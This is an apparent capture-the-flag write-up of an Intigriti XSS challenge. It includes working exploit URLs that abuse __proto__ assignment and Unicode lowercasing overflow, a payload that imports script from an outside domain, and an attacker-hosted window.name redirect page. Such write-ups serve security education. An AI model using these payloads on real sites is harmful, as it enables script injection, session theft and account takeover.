Recently the Intigriti Twitter account posted a monthly challenge where the goal is to find a Cross-Site Scripting (XSS) vulnerability. These often aren't your average <script>alert(1)</script> payloads but instead involve a bunch of interesting tricks to barely squeeze out an alert. This month was no different with a challenge by @m0z!

The Challenge

The code for this challenge was relatively simple. There is only one page with a form and some JavaScript that runs actions based on the query string:

JavaScript

var user = {};
function runCmdToken(cmd) {
    if (!user['token'] || user['token'].length != 32) {
    return;
    }
    var str = `${user['token']}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}

function handleInputToken(inp) {
    var hash = CryptoJS.MD5(inp).toString();
    user['token'] = `${hash}`;
}

function runCmdName(cmd) {
    var name = Object.keys(user).find(key => key != "token");
    if (!name) {
    return;
    }
    var contact = Object.keys(user[name]);
    if (!contact) {
    return;
    }
    var value = user[name][contact];
    if (!value) {
    return;
    }
    eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}

function handleInputName(name, contact, value) {
    user[name] = { [contact]: value };
}

const urlParams = new URLSearchParams(window.location.search);

const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");

if (nameParam && contactParam && valueParam) {
    handleInputName(nameParam, contactParam, valueParam);
}

if (tokenParam) {
    handleInputToken(tokenParam);
}

if (runContactInfo) {
    runCmdName('alert');
}

if (runTokenInfo) {
    runCmdToken('alert');
}

The references to CryptoJS are loaded from another script which is a common library for performing cryptography in the browser, it is likely not interesting for an XSS exploit. After a few functions are defined, the real logic comes, where many URL parameters are taken and used in these functions to do various things. In short, we have setName, setContact, and setValue that are passed to handleInputName(). Then also three optional functions, first tokenParam which is given to handleInputToken(), and two boolean options that choose whether or not to run runCmdName('alert') (with runContactInfo) and runCmdToken('alert') (with runTokenInfo).

Interestingly, we have the choice here of what functions we run. It also means we have full control over all these variables as they come directly from the query string. Now we'll look more closely at the two functions the application passes our input into:

JavaScript

function handleInputToken(inp) {
    var hash = CryptoJS.MD5(inp).toString();
    user['token'] = `${hash}`;
}

function handleInputName(name, contact, value) {
    user[name] = { [contact]: value };
}

The first handleInputToken() only writes a user['token'] value to the output of a hash function, we cannot set anything special here for an exploit. We only set a random string of hex characters as an MD5 digest.

The other handleInputName() seems more interesting. We can set any attribute (with name) on the user variable to an object with an arbitrary key (with contact) and a string value. This seems like a powerful primitive with definite chances of weird inputs causing unexpected behaviour.
The next functions runCmdName() and runCmdToken() both run eval() at the end of the function with some dynamic string being generated, so we might be able to influence that at some point to evaluate our input and trigger some JavaScript.

Firstly, it may look like we have direct input into the evaluate command here, with our name input:

JavaScript

function runCmdName(cmd) {
    var name = Object.keys(user).find(key => key != "token");
    ...
    eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}

But don't be fooled, this string is a template string started with the ` backtick character instead of a ' single quote. Only after this string is evaluated, will the name be appended to the string and it is only put into the 'alert' function, no unsafe operations going on here yet.

The rest of the function also does not look too crazy, it only extracts the inputs we gave from the user object and puts them into the eval function, which we could already control and know is not vulnerable. There is another function, though:

JavaScript

function runCmdToken(cmd) {
    if (!user['token'] || user['token'].length != 32) {
        return;
    }
    var str = `${user['token']}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}

This runCmdToken() function seems more flexible. The user['token'] value is put into a variable called str with some string templating again, but this time it is inserted before evaluating, meaning we can potentially inject code here. There is one problem, though, our input needs to be exactly 32 characters long, and the cmd variable only extracts all characters right after our 32-character token... It looks like we don't control this command after all.

Controlling the 'token' value

Normally, the user['token'] value comes from the handleInputToken() function which sets it to the MD5-hash of our input, as you may remember. It seems like we can't control any part of this hash in a meaningful way, but we need to remember our other primitive, the arbitrary setter at handleInputName(). One idea would be to make our name equal to 'token', so that user['token'] is set to an object with a key and value we control! This may allow us to set the token to an unexpected value and inject some code. Let's try it:

https://challenge-0324.intigriti.io/challenge/index.html?setName=token&setContact=key&setValue=value&runTokenInfo=1

We can check the DevTools Console to debug our variable, and check to see what happened:

JavaScript

> user['token']
{key: 'value'}
// looking good... we control the token variable now
> user['token'].length
undefined
// unfortunately, the length check fails because there is no .length property defined, so it cannot be equal to 32
> `${user['token']}`
'[object Object]'
// even if we were able to pass this check, the stringified version just turns into a boring '[object Object]'

This failed, but the idea is still a good thing to explore. Our problem is the fact that we must set the token to an object, while it expects to be a string with a length. Let's think a bit more about what weird stuff we can put into our setter primitive:

JavaScript

function handleInputName(name, contact, value) {
    //  'token'      'key'   'value'
    user[name] = { [contact]: value };
}

One thing that might create interesting results are the __proto__ and prototype properties, as these have special meanings in JavaScript and can sometimes cause Prototype Pollution when set recursively. While this is not directly the case here, we can still set such a property to have a special effect:

JavaScript

> let a = {};
> a.__proto__ = {"key": "value"};
> a.key
'value'

That's interesting! We set this property to an object, and suddenly, the key of this object became a property of the object with a string value. That's exactly what we're looking for. This type of behaviour is useful to remember when you can set arbitrary properties, and maybe Prototype Pollution isn't an option. With this trick, you can still set objects in a normally impossible way.

We'll try this on our target page now, smuggling the 'token' property as a prototype now, and giving it a string value of length 32:

https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=01234567890123456789012345678901&runTokenInfo=1

That's good progress, we can now control the token variable fully and set it to any 32-character string which will be alerted.

Overflowing the Command

Still, we have the restriction of not having our input being evaluated, only being used as a variable called hash:

JavaScript

function runCmdToken(cmd) {
    if (!user['token'] || user['token'].length != 32) {
    return;
    }
    var str = `${user['token']}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}

Its length must be equal to 32, and after putting it into the str variable and the .toLowerCase() function, the first 32 characters are removed from the command. It looks like we still can't write any JavaScript that will be executed. But take note of this .toLowerCase() here, because it is a transformation that happens in between the check and the use of our input. Could we exploit that somehow?

Maybe in some magical way, a weird Unicode character has a lowercase variant that is longer than its input. This does happen for uppercasing, for example, with the character turning into 'FFI' when uppercased. We'll make a simple loop to check all characters:

JavaScript

for (let i = 0; i < 65535; i++) { 
    let s = String.fromCharCode(i);
    // check if lowercasing somehow changed its length
    if (s.repeat(32).toLowerCase().length != 32) {
        console.log(i, s);
    }
}

304 'İ'

Wow! One single character in the entire Unicode character set seems to satisfy this condition. When it is lowercased, it turns into 2 characters:

JavaScript

> 'İ'.repeat(32).length
32
> 'İ'.repeat(32).toLowerCase().length
64

These two resulting characters turn out to be a simple 'i', and "Combining Dot Above (U+0307)". What matters is that we can input 32 characters as the token, and inside the command, it will expand to 64 characters. Still, only the first 32 characters are sliced, so we send up with 32 more characters after that are in our control!

https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0&runTokenInfo=1

Uncaught ReferenceError: i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇alert is not defined

The last 16 characters of our input are now transformed into lowercase and evaluated, with an alert string pasted after it. Can we use this to evaluate arbitrary JavaScript with a little less than 16 characters?

Running Arbitrary JavaScript

An awesome domain to check out is https://nj.rs/. This page made by @terjanq collects some of the shortest known XSS payloads, and the domain itself is one of them. On the page, we can see an example payload like this:

JavaScript

import(/\NJ.₨/)

It imports the domain as a JavaScript dependency, and interestingly, does so with only two characters in the domain. Because NJ and are normalized into nj and rs, this points to the domain with an alert(document.domain) payload. The only thing left is to put this code in the last 16 characters of our token with overflow, and comment out the rest of the command:

https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0import(/\%C7%8A.%E2%82%A8/)//&runTokenInfo=1

That's a valid report already! Any attacker who can register such a domain that normalizes into 2 characters can now control what script is loaded and run any JavaScript. But I don't have such a domain myself, so I don't really have control over the JavaScript that is executed. I can only run alert(document.domain) because that is what https://nj.rs/ hosts.

Luckily, there are more short XSS payloads, on the same page even. The eval(name) caught my eye, and before I knew how this payload worked I was always confused about where this name variable comes from, and how to control it. But this turns out the be one of the most useful variables for short XSS payloads, have a look.

It comes from the window.name variable, where window. and document. variables are always also available as global variables like name for short. While all other variables are reset when the origin changes, name is unique in the sense that it is kept between navigations of different origins. That means we can set the variable on our own site, and then redirect the victim to the XSS payload which will read the variable and evaluate it as code! All we have to do is host a script to set the variable and perform the redirect from our domain:

HTML

<script>
// Save cross-origin variable
name = "alert(document.domain)"
// Injected payload is now 'eval(name)//1234'
location = "https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0eval(name)//1234&runTokenInfo=1"
</script>

Visiting the script above, it puts any payload of an arbitrary length in the name variable and then proceeds to redirect the page to our XSS payload evaluating the name variable, with even 4 characters left to spare. This pops the alert again and lets the attacker really exploit the vulnerability by changing it to any malicious payload.

Conclusion

When setting properties on JavaScript objects, check if __proto__ or prototype can do anything interesting to bypass filters or create a unique format. Also, be careful with transformations between the check and the use of user input, as even a lowercase operation can change the length of a string. Lastly, remember the eval(name) payload for scenarios where your payload must be very short, to exploit a cross-origin variable.

Overall, we learned quite a few useful techniques with this one challenge. Thanks @m0z!